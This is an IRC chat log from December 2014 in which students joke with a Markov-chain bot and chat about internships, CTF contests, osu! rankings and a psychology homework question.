[2014-12-08T21:40:34-0500] <+LittleBobbyTables> @markov Tamini
[2014-12-08T21:40:34-0500] <awebot> ubuntor: 420 friendly..
[2014-12-08T21:40:41-0500] <awebot> awe: That seed is unknown.
[2014-12-08T21:40:47-0500] <+alokpathy> awe: Seeding? what? 
[2014-12-08T21:40:49-0500] <awebot> LittleBobbyTables: Tamini.
[2014-12-08T21:41:00-0500] <+LittleBobbyTables> @markov penis
[2014-12-08T21:41:02-0500] <+ubuntor> @markov no
[2014-12-08T21:41:04-0500] <+Tamini> awebot: Tamini:
[2014-12-08T21:41:05-0500] <@awe> alokpathy: The way this works is it starts the markov chain at the token you give it
[2014-12-08T21:41:06-0500] <+alokpathy> awebot: Solid work
[2014-12-08T21:41:07-0500] <awebot> LittleBobbyTables: penis.
[2014-12-08T21:41:12-0500] <+LittleBobbyTables> @markov Tamini
[2014-12-08T21:41:14-0500] <@awe> alokpathy: It only works on one token. 
[2014-12-08T21:41:14-0500] <awebot> ubuntor: no nothing..
[2014-12-08T21:41:21-0500] <awebot> LittleBobbyTables: Tamini (Y: 3, N 2)..
[2014-12-08T21:41:23-0500] <@awe> alokpathy: So, @markov what is this seeds what.
[2014-12-08T21:41:27-0500] <+ubuntor> @markov lol
[2014-12-08T21:41:31-0500] <+LittleBobbyTables> @markov penis
[2014-12-08T21:41:33-0500] <awebot> ubuntor: lol.
[2014-12-08T21:41:36-0500] <@awe> @markov platinum
[2014-12-08T21:41:40-0500] <awebot> LittleBobbyTables: penis.
[2014-12-08T21:41:46-0500] <+alokpathy> awe: Oh I see
[2014-12-08T21:41:50-0500] <awebot> awe: platinum mad right thing it’s not democratic..
[2014-12-08T21:42:00-0500] <+LittleBobbyTables> @markov penis
[2014-12-08T21:42:01-0500] <+ubuntor> wait, platinum mad
[2014-12-08T21:42:03-0500] <+ubuntor> yes
[2014-12-08T21:42:05-0500] <+LittleBobbyTables> say something more
[2014-12-08T21:42:07-0500] <awebot> LittleBobbyTables: penis.
[2014-12-08T21:42:11-0500] <+ubuntor> @markov rekt
[2014-12-08T21:42:12-0500] <+LittleBobbyTables> goddamnit
[2014-12-08T21:42:17-0500] <@awe> @markov sdamashrekt
[2014-12-08T21:42:18-0500] <awebot> ubuntor: rekt.
[2014-12-08T21:42:25-0500] <awebot> awe: sdamashrekt without understanding of chars, so i think I've got 'error: use it returns an open set the news specifically?.
[2014-12-08T21:42:26-0500] <+Tamini> speaking of which
[2014-12-08T21:42:28-0500] <+Tamini> when did we lose him?
[2014-12-08T21:42:29-0500] <+Tamini> LOL
[2014-12-08T21:42:42-0500] <+ubuntor> @markov a
[2014-12-08T21:42:49-0500] <awebot> ubuntor: a slice (a subset of people to unsafe variant.
[2014-12-08T21:43:18-0500] <nezorg> <Tamini> I got an email back from someone who got my resume at csaw, and it was like
[2014-12-08T21:43:18-0500] <nezorg> <Tamini> "yeah..come work for us after high school"
[2014-12-08T21:43:20-0500] <nezorg> :'(
[2014-12-08T21:43:28-0500] <nezorg> come research in the seclab!
[2014-12-08T21:43:31-0500] <+Tamini> nezorg: do you feel me
[2014-12-08T21:43:31-0500] <+Tamini> LOL
[2014-12-08T21:43:38-0500] <+Tamini> pay for my flight to cali
[2014-12-08T21:43:41-0500] <+Tamini> and i would totally
[2014-12-08T21:43:44-0500] <+LittleBobbyTables> You're too away to feel.
[2014-12-08T21:43:48-0500] <@awe> Tamini: no idea when he left.
[2014-12-08T21:43:48-0500] <+LittleBobbyTables> too far away*
[2014-12-08T21:43:51-0500] <nezorg> well a flight wouldn't cost much, loding would
[2014-12-08T21:43:56-0500] <nezorg> *lodging
[2014-12-08T21:44:04-0500] <+Tamini> oh, true.
[2014-12-08T21:44:07-0500] <nezorg> ...also your anecdote reminds me, I should email fb and yahoo
[2014-12-08T21:44:13-0500] <+Tamini> lol
[2014-12-08T21:44:17-0500] <nezorg> who did you ask?
[2014-12-08T21:44:17-0500] <+Tamini> when you get a job offer from both
[2014-12-08T21:44:22-0500] <nezorg> was this godlman sachs?
[2014-12-08T21:44:23-0500] <+Tamini> and I'm unemployeed
[2014-12-08T21:44:24-0500] <nezorg> *goldman
[2014-12-08T21:44:25-0500] <+Tamini> I'm going to cry
[2014-12-08T21:44:29-0500] <+Tamini> and no it was just some random thing
[2014-12-08T21:44:31-0500] <nezorg> oh
[2014-12-08T21:44:42-0500] <+Tamini> i have to actually email goldman sachs something legitover the break
[2014-12-08T21:44:43-0500] <+alokpathy> Tamini: A startup?
[2014-12-08T21:44:53-0500] <nezorg> start a startup!
[2014-12-08T21:45:05-0500] <+Tamini> why don't you? :P
[2014-12-08T21:45:10-0500] <+alokpathy> Taminisoft
[2014-12-08T21:45:10-0500] <nezorg> I did
[2014-12-08T21:45:11-0500] <+Tamini> i'll go work for you
[2014-12-08T21:45:16-0500] <+Tamini> oh, really?
[2014-12-08T21:45:18-0500] <nezorg> yeah
[2014-12-08T21:45:21-0500] <+Tamini> wanna hire me? <3
[2014-12-08T21:45:26-0500] <+alokpathy> Hey let's all work for nezorg's startup
[2014-12-08T21:45:28-0500] <nezorg> > implying it still exists
[2014-12-08T21:45:31-0500] <@awe> I already work at a startup.
[2014-12-08T21:45:32-0500] <@awe> :D
[2014-12-08T21:45:40-0500] <+ubuntor> http://www.wired.com/2014/12/obama-becomes-first-president-write-computer-program/
[2014-12-08T21:45:42-0500] <+alokpathy> awe: Give us all jobs :P
[2014-12-08T21:46:05-0500] <+alokpathy> ubuntor: Oh nice
[2014-12-08T21:46:28-0500] <@awe> Damn, Obama can draw a square.
[2014-12-08T21:46:32-0500] <@awe> I bet it was in JavaScript.
[2014-12-08T21:46:34-0500] <Hyper> lol
[2014-12-08T21:46:42-0500] <+LittleBobbyTables> It was in Processing
[2014-12-08T21:46:45-0500] <@awe> He did, however, complete some of the exercises, which involved both using Google’s Blockly tool, and writing a line of code using the programming language JavaScript.
[2014-12-08T21:46:50-0500] <@awe> No, it was JavaScript.
[2014-12-08T21:47:01-0500] <Hyper> I got accepted for a phone interview at google :D
[2014-12-08T21:47:06-0500] <+Tamini> nezorg: make another startup
[2014-12-08T21:47:08-0500] <nezorg> awe: apparently he implemented bubble sort
[2014-12-08T21:47:10-0500] <+Tamini> give me a job pls <3
[2014-12-08T21:47:11-0500] <nezorg> Hyper: cool!
[2014-12-08T21:47:15-0500] <@awe> nezorg: damn, son.
[2014-12-08T21:47:17-0500] <+Tamini> Hyper: :OOOOOO
[2014-12-08T21:47:17-0500] <+alokpathy> Hyper: Nicee
[2014-12-08T21:47:20-0500] <Hyper> ofc they're going to deny me
[2014-12-08T21:47:21-0500] <Hyper> but w/e
[2014-12-08T21:47:28-0500] <@awe> Hyper: for an internship or a job?
[2014-12-08T21:47:31-0500] <Hyper> internship
[2014-12-08T21:47:34-0500] <@awe> probably not then.
[2014-12-08T21:47:40-0500] <@awe> They accept a ridiculous number of interns.
[2014-12-08T21:47:48-0500] <+alokpathy> nezorg: Lol he specifically told Eric Schmidt that Bubble sort was not ideal for sorting a million 32-bit integers xD
[2014-12-08T21:48:27-0500] <nezorg> alokpathy: ah, I remember that :P
[2014-12-08T21:48:40-0500] <+alokpathy> What a hypocrite 
[2014-12-08T21:48:42-0500] <nezorg> I wonder if crowell could get me an internship at google...
[2014-12-08T21:48:42-0500] <+ubuntor> nice
[2014-12-08T21:49:03-0500] <nezorg> or at least get me in the system
[2014-12-08T21:49:21-0500] <+Tamini> lol
[2014-12-08T21:49:36-0500] <+Tamini> nezorg: social engineer your way into jobs, yes
[2014-12-08T21:49:46-0500] <+alokpathy> ^
[2014-12-08T21:49:56-0500] <nezorg> Tamini: well apparently where google gets most of their hires is through employees' referrals
[2014-12-08T21:51:30-0500] <+LittleBobbyTables> guys
[2014-12-08T21:51:33-0500] <+LittleBobbyTables> guysguysguysguys
[2014-12-08T21:51:36-0500] <+LittleBobbyTables> guys 
[2014-12-08T21:51:37-0500] <+LittleBobbyTables> ehome
[2014-12-08T21:51:39-0500] <+LittleBobbyTables> is coming back
[2014-12-08T21:51:40-0500] <+LittleBobbyTables> fuck yes.
[2014-12-08T21:51:52-0500] <nezorg> ehode?
[2014-12-08T21:51:54-0500] <nezorg> *ehome
[2014-12-08T21:51:58-0500] <+LittleBobbyTables> ehome.
[2014-12-08T21:52:07-0500] <+LittleBobbyTables> Best dota team in the history of dota.
[2014-12-08T21:52:24-0500] <+Tamini> oh right
[2014-12-08T21:52:28-0500] <+Tamini> you're a doto player
[2014-12-08T21:52:28-0500] <+Tamini> ew.
[2014-12-08T21:52:30-0500] <nezorg> huh
[2014-12-08T21:52:48-0500] <+LittleBobbyTables> ew to dota?
[2014-12-08T21:52:55-0500] <@awe> Okay, despite your distractions, I did finish my two practice finals for Calc.
[2014-12-08T21:53:04-0500] <+alokpathy> Tamini: I successfully matched your teammates names to their faces
[2014-12-08T21:53:06-0500] <+Tamini> yeaa
[2014-12-08T21:53:07-0500] <+Tamini> and LOL
[2014-12-08T21:53:12-0500] <+Tamini> alokpathy: well I mean
[2014-12-08T21:53:17-0500] <+Tamini> one of them is obviously indian
[2014-12-08T21:53:20-0500] <+ubuntor> mit removed walter lewin lectures...
[2014-12-08T21:53:20-0500] <+Tamini> 50/50 on the other two
[2014-12-08T21:53:34-0500] <+alokpathy> Tamini: Yeah I got Daniel pretty easily
[2014-12-08T21:53:45-0500] <+Tamini> alokpathy: Danial, actually.
[2014-12-08T21:53:48-0500] <+Tamini> and I mean
[2014-12-08T21:53:54-0500] <+Tamini> i'm obviously the cutest one there ;)
[2014-12-08T21:53:54-0500] <+alokpathy> so then I just FB stalked Matthew and cdb
[2014-12-08T21:53:54-0500] <+alokpathy> and got them
[2014-12-08T21:54:00-0500] <+Tamini> LOL
[2014-12-08T21:54:02-0500] <+Tamini> YOURE SO WEIRD
[2014-12-08T21:54:08-0500] <+Tamini> also i did get asked
[2014-12-08T21:54:14-0500] <+Tamini> "who was the random guy you were with"
[2014-12-08T21:54:17-0500] <+Tamini> by one of the other teams
[2014-12-08T21:54:24-0500] <+Tamini> because remember we like sat down next to a tj team
[2014-12-08T21:54:25-0500] <+alokpathy> My goal next PClassic is to befriend your teammates
[2014-12-08T21:54:31-0500] <+alokpathy> Tamini: Oh yeah
[2014-12-08T21:54:33-0500] <+Tamini> i already befriended yours :P
[2014-12-08T21:54:41-0500] <+alokpathy> I need to reciprocate XD
[2014-12-08T21:55:17-0500] <+alokpathy> Also no I think cdb was cuter
[2014-12-08T21:56:03-0500] <+Tamini> LOL
[2014-12-08T21:56:04-0500] <+Tamini> WOW
[2014-12-08T21:56:06-0500] <+Tamini> excuse me
[2014-12-08T21:56:24-0500] <+Tamini> well i thought brice was totally cuter than you so shush
[2014-12-08T21:56:55-0500] <+alokpathy> Well JacobEdelman is clearly the cutest in our group
[2014-12-08T21:57:04-0500] <+alokpathy> Wait, no, my logic for that is flawed.
[2014-12-08T21:57:12-0500] <+alokpathy> I was going to say that he's the only one with a girlfriend
[2014-12-08T21:57:15-0500] <+alokpathy> but Shao has one too.
[2014-12-08T21:57:26-0500] <+alokpathy> So, Shao and JacobEdelman have to fight to the death for the title.
[2014-12-08T21:58:24-0500] <+alokpathy> Wait, if Shao and JacobEdelman are the cutest by that logic, and you say Brice is cuter than I am, then I'm the least cute in that group
[2014-12-08T21:58:27-0500] <+alokpathy> wow I'm offended Tamini 
[2014-12-08T21:59:34-0500] <+LittleBobbyTables> Tamini: is apothy cuter than ,e
[2014-12-08T21:59:37-0500] <+LittleBobbyTables> me
[2014-12-08T21:59:45-0500] <@awe> LittleBobbyTables: I don't know what you look like.
[2014-12-08T21:59:49-0500] <@awe> LittleBobbyTables: but probably not. ;)
[2014-12-08T21:59:53-0500] <+Tamini> whoa shao has a girlfriend
[2014-12-08T21:59:54-0500] <+Tamini> LOL
[2014-12-08T21:59:58-0500] <+Tamini> whooooo
[2014-12-08T22:00:00-0500] <+Tamini> scandal whoa
[2014-12-08T22:00:11-0500] <+Tamini> and technically same logic applies to me and corwin too
[2014-12-08T22:00:48-0500] <+alokpathy> awe: </3
[2014-12-08T22:00:53-0500] <+alokpathy> Tamini: Yeah, he does.
[2014-12-08T22:01:04-0500] <@awe> alokpathy: It's because his personality is so cute.
[2014-12-08T22:01:04-0500] <+alokpathy> Tamini: CDB has a girlfriend?
[2014-12-08T22:01:10-0500] <+alokpathy> Tamini: Oh, yeah, you told me this.
[2014-12-08T22:01:39-0500] <+alokpathy> awe: This is true.
[2014-12-08T22:01:57-0500] <+LittleBobbyTables> <3 awe
[2014-12-08T22:02:14-0500] <+Tamini> i still maintain
[2014-12-08T22:02:18-0500] <+Tamini> that since no one know what he looks like
[2014-12-08T22:02:20-0500] <+LittleBobbyTables> Do you want to pretend my fake facebook is me?
[2014-12-08T22:02:25-0500] <+Tamini> LittleBobbyTables could be a 47 year old man
[2014-12-08T22:02:30-0500] <+Tamini> alokpathy: whoooooo
[2014-12-08T22:02:36-0500] <+LittleBobbyTables> I can guarantee I'm not 47.
[2014-12-08T22:03:01-0500] <+Tamini> 48? :P
[2014-12-08T22:03:01-0500] <+alokpathy> Tamini: Her name's Katherine Chen.
[2014-12-08T22:03:06-0500] <+alokpathy> She doesn't do math or stuff so idk if you know her
[2014-12-08T22:03:13-0500] <+Tamini> brb fb stalking
[2014-12-08T22:03:17-0500] <+Tamini> and aw, not like
[2014-12-08T22:03:19-0500] <+Tamini> cute mosp couples
[2014-12-08T22:03:21-0500] <+LittleBobbyTables> Niski Jekkb. 
[2014-12-08T22:03:23-0500] <+Tamini> she's cuuuute tho
[2014-12-08T22:03:25-0500] <+LittleBobbyTables> That's my fake facebook.
[2014-12-08T22:03:30-0500] <@awe> alokpathy: I know her!
[2014-12-08T22:03:31-0500] <+LittleBobbyTables> If you want to pretend that's what I look like.
[2014-12-08T22:03:32-0500] <@awe> alokpathy: :D
[2014-12-08T22:03:50-0500] <+Tamini> she is so adorb
[2014-12-08T22:03:54-0500] <+alokpathy> awe: Yeah! :D Same one
[2014-12-08T22:04:09-0500] <+alokpathy> LittleBobbyTables: [adding]
[2014-12-08T22:04:13-0500] <+LittleBobbyTables> lol
[2014-12-08T22:04:22-0500] <+LittleBobbyTables> I was going to add you
[2014-12-08T22:04:27-0500] <@awe> LittleBobbyTables: That's not what you actually look like. So, there's no point.
[2014-12-08T22:04:30-0500] <+LittleBobbyTables> But I was like "is he going to be weirded out by this weird russian dude?"
[2014-12-08T22:04:37-0500] <+alokpathy> benwaffle ignored my friend request
[2014-12-08T22:04:43-0500] <+alokpathy> LittleBobbyTables: I probably would have LOL
[2014-12-08T22:05:12-0500] <+LittleBobbyTables> Why did Michael post on this
[2014-12-08T22:06:00-0500] <+alokpathy> Post what?
[2014-12-08T22:06:21-0500] <+Tamini> you should totally tell us what you actually look like
[2014-12-08T22:06:21-0500] <+Tamini> :P
[2014-12-08T22:06:59-0500] <+LittleBobbyTables> my facebook
[2014-12-08T22:07:02-0500] <+LittleBobbyTables> uhh
[2014-12-08T22:07:05-0500] <+LittleBobbyTables> apothy, idk
[2014-12-08T22:07:06-0500] <+LittleBobbyTables> it's still loadin
[2014-12-08T22:07:27-0500] <+alokpathy> Oh I see his hei
[2014-12-08T22:07:35-0500] <+LittleBobbyTables> oh
[2014-12-08T22:07:37-0500] <+LittleBobbyTables> That's what he said
[2014-12-08T22:12:43-0500] <+Tamini> aw
[2014-12-08T22:17:41-0500] <+LittleBobbyTables> I'm pretty sure you guys can find a picture of me online.
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[2014-12-08T22:20:31-0500] <+alokpathy> LittleBobbyTables: We can find a pic of your mom pretty easily though.
[2014-12-08T22:20:40-0500] <+alokpathy> https://xkcd.com/327/
[2014-12-08T22:20:47-0500] <+LittleBobbyTables> damn
[2014-12-08T22:20:49-0500] <+LittleBobbyTables> how'd you get that
[2014-12-08T22:21:11-0500] <+alokpathy> 1337 recon skillz
[2014-12-08T22:22:02-0500] <+Tamini> LOL
[2014-12-08T22:22:07-0500] <+Tamini> omg 
[2014-12-08T22:22:09-0500] <+Tamini> xkcd store
[2014-12-08T22:22:17-0500] <+Tamini> cant be good for my wallet
[2014-12-08T22:22:18-0500] <+Tamini> >.<
[2014-12-08T22:27:38-0500] failedxyz (uid50489@pdgn-5ih.9lf.7cuf9e.IP) joined the channel
[2014-12-08T22:28:07-0500] <failedxyz> hei
[2014-12-08T22:28:57-0500] <+alokpathy> Heillo
[2014-12-08T22:30:24-0500] <failedxyz> lol
[2014-12-08T22:30:36-0500] <failedxyz> heibot D:
[2014-12-08T22:40:41-0500] <+hardmath123> hi failedxyz 
[2014-12-08T22:40:57-0500] <+hardmath123> one of my friends is now obsessed with stalking you, even though EasyCTF is over
[2014-12-08T22:41:16-0500] <failedxyz> lolol
[2014-12-08T22:41:21-0500] <failedxyz> hf
[2014-12-08T22:43:03-0500] <+Tamini> lol
[2014-12-08T22:43:09-0500] <+Tamini> my friend wants to beat you in osu
[2014-12-08T22:43:11-0500] <failedxyz> lolol
[2014-12-08T22:43:14-0500] <failedxyz> what's his username
[2014-12-08T22:43:32-0500] <+Tamini> he's reaaaally god
[2014-12-08T22:43:33-0500] <+Tamini> good*
[2014-12-08T22:43:45-0500] <+Tamini> uh
[2014-12-08T22:43:54-0500] <+alokpathy> Tamini: What's the Latin hw due Wednesday for Period 6?
[2014-12-08T22:43:57-0500] <+alokpathy> Conklin
[2014-12-08T22:44:15-0500] <+Tamini> alokpathy: stahp it
[2014-12-08T22:44:21-0500] <+Tamini> im not in period 6 man
[2014-12-08T22:44:21-0500] <+Tamini> :P
[2014-12-08T22:44:24-0500] <+alokpathy> Tamini: plz I want to be helpful
[2014-12-08T22:44:29-0500] <+alokpathy> Aw c'mon
[2014-12-08T22:44:51-0500] <+alokpathy> Lol has anybody noticed?
[2014-12-08T22:44:55-0500] <failedxyz> noticed what
[2014-12-08T22:45:06-0500] <failedxyz> don't you go to different schools
[2014-12-08T22:45:06-0500] <+Tamini> failedxyz: Worst
[2014-12-08T22:45:10-0500] <+Tamini> and yeah
[2014-12-08T22:45:13-0500] <+Tamini> he likes to pretend he goes here
[2014-12-08T22:45:14-0500] <+Tamini> :P
[2014-12-08T22:45:16-0500] <failedxyz> i see
[2014-12-08T22:45:19-0500] <failedxyz> makes sense
[2014-12-08T22:45:21-0500] <+alokpathy> failedxyz: I'm in the Conklin 6th Period AP Latin FB group for TJ
[2014-12-08T22:45:29-0500] <failedxyz> i would want to pretend i'm in TJ too but i'm not good enough to do that
[2014-12-08T22:45:40-0500] <+LittleBobbyTables> Tamini: I bet your friend is bad at osu.
[2014-12-08T22:45:44-0500] <failedxyz> gg
[2014-12-08T22:45:48-0500] <+LittleBobbyTables> failedxyz: are you going to watch me in the finals?
[2014-12-08T22:45:52-0500] <failedxyz> sure
[2014-12-08T22:45:57-0500] <+LittleBobbyTables> <3
[2014-12-08T22:45:59-0500] <failedxyz> wait
[2014-12-08T22:46:02-0500] <failedxyz> when are finals again
[2014-12-08T22:46:06-0500] <failedxyz> next week?
[2014-12-08T22:46:09-0500] <+LittleBobbyTables> yeah
[2014-12-08T22:46:09-0500] <failedxyz> i mean
[2014-12-08T22:46:10-0500] <failedxyz> this weekend
[2014-12-08T22:46:28-0500] failedxyz is now known as WubWoofWolf
[2014-12-08T22:46:28-0500] <+Tamini> go look him up :P
[2014-12-08T22:46:30-0500] <WubWoofWolf> i'll be there
[2014-12-08T22:46:33-0500] <+LittleBobbyTables> I'm playing Japan on uhh
[2014-12-08T22:46:43-0500] WubWoofWolf is now known as failedxyz
[2014-12-08T22:46:45-0500] <+Tamini> wait LittleBobbyTables: what's this for?
[2014-12-08T22:46:50-0500] <failedxyz> osu world cup
[2014-12-08T22:46:54-0500] <+alokpathy> Finals?
[2014-12-08T22:46:58-0500] <failedxyz> osu world cup finals
[2014-12-08T22:47:02-0500] <+LittleBobbyTables> Fuck I forgot what day
[2014-12-08T22:47:04-0500] <+LittleBobbyTables> The 12th?
[2014-12-08T22:47:07-0500] <failedxyz> idk
[2014-12-08T22:47:07-0500] <+ubuntor> oh nice
[2014-12-08T22:47:18-0500] <+alokpathy> failedxyz: Oh nice
[2014-12-08T22:47:21-0500] <+alokpathy> you're in it?
[2014-12-08T22:47:24-0500] <+alokpathy> Do you have to qualify?
[2014-12-08T22:47:28-0500] <failedxyz> idk
[2014-12-08T22:47:32-0500] <failedxyz> wait how does player selection work again
[2014-12-08T22:47:36-0500] <failedxyz> do they just take the top players
[2014-12-08T22:47:42-0500] <failedxyz> from each country
[2014-12-08T22:48:01-0500] <+LittleBobbyTables> Let me look at the schedule again.
[2014-12-08T22:48:01-0500] <+LittleBobbyTables> Don't worry, I'll redeem Germany.
[2014-12-08T22:48:10-0500] <+LittleBobbyTables> You register
[2014-12-08T22:48:20-0500] <+LittleBobbyTables> https://osu.ppy.sh/news/98965605173
[2014-12-08T22:48:32-0500] <+Tamini> what are you on osu, lbt? <3
[2014-12-08T22:48:46-0500] <+LittleBobbyTables> 2nd
[2014-12-08T22:48:52-0500] <+alokpathy> Wait, what
[2014-12-08T22:48:59-0500] <+LittleBobbyTables> cptnXn pls
[2014-12-08T22:49:08-0500] <+Tamini> oright
[2014-12-08T22:49:49-0500] <+alokpathy> LittleBobbyTables: 2nd in all of osu?
[2014-12-08T22:50:03-0500] <+LittleBobbyTables> Yeah man
[2014-12-08T22:50:08-0500] <+Tamini> holy shit you're good at osu.
[2014-12-08T22:50:15-0500] <+Tamini> wait second or 16th
[2014-12-08T22:50:29-0500] <+LittleBobbyTables> 2nd last I looked
[2014-12-08T22:50:38-0500] <+alokpathy> 16th now
[2014-12-08T22:50:40-0500] <+alokpathy> but still
[2014-12-08T22:50:42-0500] <+alokpathy> holy shit
[2014-12-08T22:50:55-0500] <+LittleBobbyTables> Sorry, 2nd of Germany.
[2014-12-08T22:51:16-0500] <+LittleBobbyTables> I like to think I'm better than Cookiezi, because I don't use a tablet. Mouse all the way <3
[2014-12-08T22:51:25-0500] <+Tamini> duuude you're amazing
[2014-12-08T22:51:50-0500] <+alokpathy> I'm totally showing off to my friends that I know the 16th best osu player
[2014-12-08T22:51:51-0500] <+LittleBobbyTables> >Germany
[2014-12-08T22:52:18-0500] <+Tamini> lolol
[2014-12-08T22:52:22-0500] <+Tamini> my friend
[2014-12-08T22:52:24-0500] <+Tamini> is fanboying you
[2014-12-08T22:52:33-0500] <+LittleBobbyTables> Who is it
[2014-12-08T22:53:58-0500] <+Tamini> uh
[2014-12-08T22:54:00-0500] <+Tamini> Worst
[2014-12-08T22:55:11-0500] <+LittleBobbyTables> His name is literally Worst?
[2014-12-08T22:55:40-0500] <+LittleBobbyTables> Student at TJHSST
[2014-12-08T22:55:44-0500] <+LittleBobbyTables> Yeah, that's him I guess
[2014-12-08T22:56:37-0500] <+Tamini> yeah
[2014-12-08T22:56:45-0500] <+Tamini> he gives you respect+props
[2014-12-08T22:56:50-0500] <+Tamini> because "crazy speed player"
[2014-12-08T22:56:54-0500] <+Tamini> #1 on freedom dive, huh
[2014-12-08T22:57:22-0500] <+Tamini> brb watching you steam
[2014-12-08T22:57:31-0500] <+Tamini> also have a slight accent, it's unexpected
[2014-12-08T22:58:46-0500] <+LittleBobbyTables> #1 on freedom dive.
[2014-12-08T22:59:00-0500] <+Tamini> pretty hands
[2014-12-08T22:59:03-0500] <+Tamini> im watching you steam it
[2014-12-08T22:59:06-0500] <+Tamini> stream*
[2014-12-08T22:59:30-0500] <+alokpathy> Tamini: Where where
[2014-12-08T22:59:37-0500] <+alokpathy> I wanna hear LBT's voice
[2014-12-08T22:59:47-0500] <+Tamini> https://www.youtube.com/watch?v=mNNH5gm68WE
[2014-12-08T22:59:48-0500] <+Tamini> he talks like
[2014-12-08T22:59:52-0500] <+Tamini> 10 secs at the beginning
[2014-12-08T23:01:37-0500] <+Tamini> duuuude
[2014-12-08T23:01:42-0500] <+Tamini> LittleBobbyTables: your accent, where's it from
[2014-12-08T23:02:07-0500] <+LittleBobbyTables> My mouth.
[2014-12-08T23:03:17-0500] <+alokpathy> jeezus
[2014-12-08T23:04:21-0500] <+Tamini> LOL
[2014-12-08T23:04:25-0500] <+Tamini> but holy shit your osu
[2014-12-08T23:04:26-0500] <+Tamini> LOL
[2014-12-08T23:05:48-0500] <+LittleBobbyTables> Like I said, I like to think I'm #1 player, cause I'm not a dirty tablet cheater.
[2014-12-08T23:07:00-0500] <+Tamini> LOL
[2014-12-08T23:07:10-0500] <+alokpathy> I showed a friend of mine the vid
[2014-12-08T23:07:11-0500] <+alokpathy> and she was like
[2014-12-08T23:07:16-0500] <+alokpathy> "How the fuck"
[2014-12-08T23:07:50-0500] <+Tamini> my friend argues that tablet is same as mouse
[2014-12-08T23:07:58-0500] <+LittleBobbyTables> It's not
[2014-12-08T23:08:08-0500] <+LittleBobbyTables> Ask him if he uses a tablet
[2014-12-08T23:08:09-0500] <+Tamini> how so
[2014-12-08T23:08:12-0500] <+Tamini> pls gib argument
[2014-12-08T23:08:13-0500] <+Tamini> yes he does
[2014-12-08T23:09:09-0500] <+Tamini> also
[2014-12-08T23:09:21-0500] <+LittleBobbyTables> See, that's why he thinks they're the same.
[2014-12-08T23:09:27-0500] <+Tamini> "do you know who is really #1 rrtyui = god"
[2014-12-08T23:09:29-0500] <+LittleBobbyTables> You have significantly more control with a tablet.
[2014-12-08T23:12:11-0500] <+Tamini> he says you have more degrees of freedom with a mouse
[2014-12-08T23:13:01-0500] <+LittleBobbyTables> You have the same amount with a tablet...
[2014-12-08T23:13:38-0500] <bob_twinkles> tablets are easier to control precicely though b/c they use the same muscle groups as writting (by design, obviously)
[2014-12-08T23:14:20-0500] <+jwoglom> LittleBobbyTables: he takes his osu pretty seriously
[2014-12-08T23:14:25-0500] <+Tamini> lol
[2014-12-08T23:14:30-0500] <+Tamini> so does lbt, i'd presume
[2014-12-08T23:14:30-0500] <+LittleBobbyTables> jwoglom: he's a dumb.
[2014-12-08T23:14:36-0500] <+Tamini> jwoglom: gtfo and write your damn essay
[2014-12-08T23:14:39-0500] <+Tamini> LittleBobbyTables: be nice, now.
[2014-12-08T23:14:45-0500] <+Tamini> jwoglom: <3
[2014-12-08T23:14:46-0500] <+LittleBobbyTables> lol
[2014-12-08T23:14:48-0500] <+jwoglom> Tamini: thanks :P
[2014-12-08T23:14:54-0500] <+LittleBobbyTables> Who wants to write my psych final
[2014-12-08T23:15:41-0500] <bob_twinkles> isn't that due in < 45 minutes?
[2014-12-08T23:16:21-0500] <+alokpathy> Oh dear
[2014-12-08T23:16:26-0500] <+LittleBobbyTables> Mine?
[2014-12-08T23:16:34-0500] <+LittleBobbyTables> I'm West Coast dude
[2014-12-08T23:16:41-0500] <+Tamini> LittleBobbyTables: you need to gtfo and write your damn essay too, man
[2014-12-08T23:16:49-0500] <+LittleBobbyTables> Tamini: write it for me.
[2014-12-08T23:16:54-0500] <+Tamini> LittleBobbyTables: pay me.
[2014-12-08T23:17:07-0500] <+LittleBobbyTables> 3 dollars.
[2014-12-08T23:17:10-0500] <+Tamini> lolno
[2014-12-08T23:17:15-0500] <+alokpathy> Tamini: Take the money and run
[2014-12-08T23:17:21-0500] <+Tamini> i actually have nothing to do today
[2014-12-08T23:17:23-0500] <+LittleBobbyTables> It's like
[2014-12-08T23:17:24-0500] <+Tamini> but 3 dollars? pls
[2014-12-08T23:17:27-0500] <+Tamini> im worth more than that
[2014-12-08T23:17:33-0500] <+LittleBobbyTables> Maybe 7 sentences.
[2014-12-08T23:17:39-0500] <+Tamini> then do it yourself jesus :P
[2014-12-08T23:17:44-0500] <+LittleBobbyTables> Tamini: yeah, but, I'm a poor Osu! nerd that doesn't get money.
[2014-12-08T23:17:52-0500] <+Tamini> you have a job, ma
[2014-12-08T23:18:00-0500] <+Tamini> n
[2014-12-08T23:18:01-0500] <+LittleBobbyTables> Prove it
[2014-12-08T23:18:24-0500] <+Tamini> don't you?
[2014-12-08T23:18:38-0500] <+LittleBobbyTables> If I say no, will that help you write this?
[2014-12-08T23:19:00-0500] <+LittleBobbyTables> 1. Explain the different types of memory.  You may provide a diagram, so long as each type is explained. What strategies would you recommend to improve memory and minimize forgetting in order to be a better student? Be sure to explain WHY these strategies are helpful.
[2014-12-08T23:19:14-0500] <bob_twinkles> uh...
[2014-12-08T23:19:17-0500] <bob_twinkles> the stack is a stack
[2014-12-08T23:19:21-0500] <bob_twinkles> the heap is usually black magic
[2014-12-08T23:19:24-0500] <bob_twinkles> hdds are slow as shit
[2014-12-08T23:19:27-0500] <bob_twinkles> and network is even worse
[2014-12-08T23:19:38-0500] <+alokpathy> bob_twinkles: It's a psych final LOL
[2014-12-08T23:19:50-0500] <Hyper> lol
[2014-12-08T23:20:05-0500] <Hyper> You should probably be worrying about cache swaps, really
[2014-12-08T23:20:10-0500] <Hyper> <3
[2014-12-08T23:20:28-0500] <bob_twinkles> yeah L1 cache misses are the worst
[2014-12-08T23:20:55-0500] <+alokpathy> LittleBobbyTables: Are you glad we're not writing your psych final?
[2014-12-08T23:21:05-0500] <+Tamini> lol
[2014-12-08T23:21:47-0500] <+LittleBobbyTables> No.
[2014-12-08T23:22:20-0500] <+alokpathy> LittleBobbyTables: Even though we now know what bob_twinkles and Hyper would have said?
[2014-12-08T23:23:03-0500] <+LittleBobbyTables> That's what I was going to originally say.
[2014-12-08T23:23:06-0500] <+LittleBobbyTables> but, then I remembered
[2014-12-08T23:23:09-0500] <+LittleBobbyTables> It's Psych
[2014-12-08T23:23:19-0500] <+alokpathy> xDD
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[2014-12-08T23:40:47-0500] <failedxyz> hei
[2014-12-08T23:41:00-0500] <+LittleBobbyTables> hei
[2014-12-08T23:48:08-0500] <+ubuntor> what are these broadcom driver bugs on the rpi :/
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[2014-12-08T23:58:46-0500] <@awe> @markov
